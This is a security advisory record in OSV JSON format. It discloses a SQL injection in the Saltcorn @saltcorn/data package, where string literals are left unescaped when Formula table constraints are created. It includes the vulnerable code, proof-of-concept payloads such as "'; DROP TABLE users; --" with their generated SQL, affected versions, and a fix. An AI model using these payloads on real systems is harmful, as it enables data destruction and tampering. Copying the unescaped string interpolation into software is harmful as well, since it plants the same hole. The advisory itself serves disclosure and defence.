{"id":"GHSA-59xv-588h-2vmm","summary":"@saltcorn/data vulnerable to SQL Injection via jsexprToSQL Literal Handler","details":"## Summary\n\nThe `jsexprToSQL()` function in Saltcorn converts JavaScript expressions to SQL for use in database constraints. The `Literal` handler wraps string values in single quotes without escaping embedded single quotes, allowing SQL injection when creating Formula-type table constraints.\n\n\n## Vulnerable Component\n\n**File:** `packages/saltcorn-data/models/expression.ts`, lines 117-118\n\n```typescript\nLiteral({ value }: { value: ExtendedNode }) {\n  if (typeof value == \"string\") return `'${value}'`;  // NO ESCAPING!\n  return `${value}`;\n},\n```\n\n**Call chain:** Formula constraint creation → `table_constraints.ts:127` → `jsexprToSQL()` → `Literal()` → `db.query()` executes unsanitized SQL.\n\n## Proof of Concept\n\n### Injection via Formula Constraint\n\nWhen an admin creates a Formula-type table constraint with the expression:\n\n```javascript\nname === \"test' OR '1'='1\"\n```\n\nThe `jsexprToSQL()` function generates:\n\n```sql\n(name)=('test' OR '1'='1')\n```\n\nThis is then executed as:\n\n```sql\nALTER TABLE \"tablename\" ADD CONSTRAINT \"tablename_fml_1\" CHECK ((name)=('test' OR '1'='1'));\n```\n\nThe single quote in the string literal is not escaped, breaking out of the SQL string context.\n\n### More Dangerous Payload\n\n```javascript\nname === \"'; DROP TABLE users; --\"\n```\n\nGenerates:\n\n```sql\n(name)=(''; DROP TABLE users; --')\n```\n\n### Verified on Saltcorn v1.5.0 (Docker)\n\nDirect invocation of `jsexprToSQL()` inside the running container confirms the vulnerability:\n\n```\nInput:  name === \"hello\"\nOutput: (name)=('hello')                          ← Normal\n\nInput:  name === \"test' OR '1'='1\"\nOutput: (name)=('test' OR '1'='1')                ← Single quote NOT escaped, OR injected\n\nInput:  name === \"'; DROP TABLE users; --\"\nOutput: (name)=(''; DROP TABLE users; --')         ← DROP TABLE injected\n```\n\nThe test was performed on a completely fresh Saltcorn installation (zero user-created tables, default Docker setup).\n\n### PoC Screenshot\n\n1. Create a table after moving to the table menu\n\n\u003cimg width=\"1194\" height=\"559\" alt=\"SCR-20260307-edqn\" src=\"https://github.com/user-attachments/assets/a2d11102-f49b-4b2b-88ff-fced37476b6f\" /\u003e\n\n\n2. Go to the table and then to `Constraits`\n\n\u003cimg width=\"1180\" height=\"600\" alt=\"SCR-20260307-edsg\" src=\"https://github.com/user-attachments/assets/b55ddace-01be-4a53-8f62-cbec98172cd7\" /\u003e\n\n3. Go to `Formula`\n\n\u003cimg width=\"1130\" height=\"518\" alt=\"SCR-20260307-edud\" src=\"https://github.com/user-attachments/assets/8a5addc6-e681-401b-91ea-bce3b0eece54\" /\u003e\n\n4. Create a test table for verification\n\n\u003cimg width=\"857\" height=\"294\" alt=\"SCR-20260307-eetw\" src=\"https://github.com/user-attachments/assets/debc8581-8145-44cb-a684-2bc3eb7adbcf\" /\u003e\n\n5. Input the payload and save\n\n\u003cimg width=\"763\" height=\"383\" alt=\"SCR-20260307-ehcz\" src=\"https://github.com/user-attachments/assets/f7a3aa34-7b0b-48ea-b1df-f852f137c37f\" /\u003e\n\n6. Check the table for testing\n\n\u003cimg width=\"549\" height=\"256\" alt=\"SCR-20260307-ehuh\" src=\"https://github.com/user-attachments/assets/8f6da842-0275-4729-93bf-96575f3fe963\" /\u003e\n\n\n\n## Impact\n\n- Arbitrary SQL execution via crafted CHECK constraints\n- Data exfiltration through error-based or time-based SQL injection\n- Database schema manipulation (DROP TABLE, ALTER TABLE)\n- Potential privilege escalation via direct `users` table modification\n\n## Suggested Remediation\n\nEscape single quotes in the `Literal` handler:\n\n```typescript\nLiteral({ value }: { value: ExtendedNode }) {\n  if (typeof value == \"string\") return `'${value.replace(/'/g, \"''\")}'`;\n  return `${value}`;\n},\n```\n\nAlternatively, use parameterized queries for constraint creation instead of string interpolation.","modified":"2026-04-10T19:48:55.321260Z","published":"2026-04-10T19:30:32Z","database_specific":{"cwe_ids":["CWE-89"],"severity":"LOW","github_reviewed":true,"github_reviewed_at":"2026-04-10T19:30:32Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/saltcorn/saltcorn/security/advisories/GHSA-59xv-588h-2vmm"},{"type":"PACKAGE","url":"https://github.com/saltcorn/saltcorn"}],"affected":[{"package":{"name":"@saltcorn/data","ecosystem":"npm","purl":"pkg:npm/%40saltcorn/data"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.4.5"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-59xv-588h-2vmm/GHSA-59xv-588h-2vmm.json"}},{"package":{"name":"@saltcorn/data","ecosystem":"npm","purl":"pkg:npm/%40saltcorn/data"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.5.0"},{"fixed":"1.5.5"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-59xv-588h-2vmm/GHSA-59xv-588h-2vmm.json"}},{"package":{"name":"@saltcorn/data","ecosystem":"npm","purl":"pkg:npm/%40saltcorn/data"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.6.0-alpha.0"},{"fixed":"1.6.0-beta.4"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-59xv-588h-2vmm/GHSA-59xv-588h-2vmm.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:N"}]}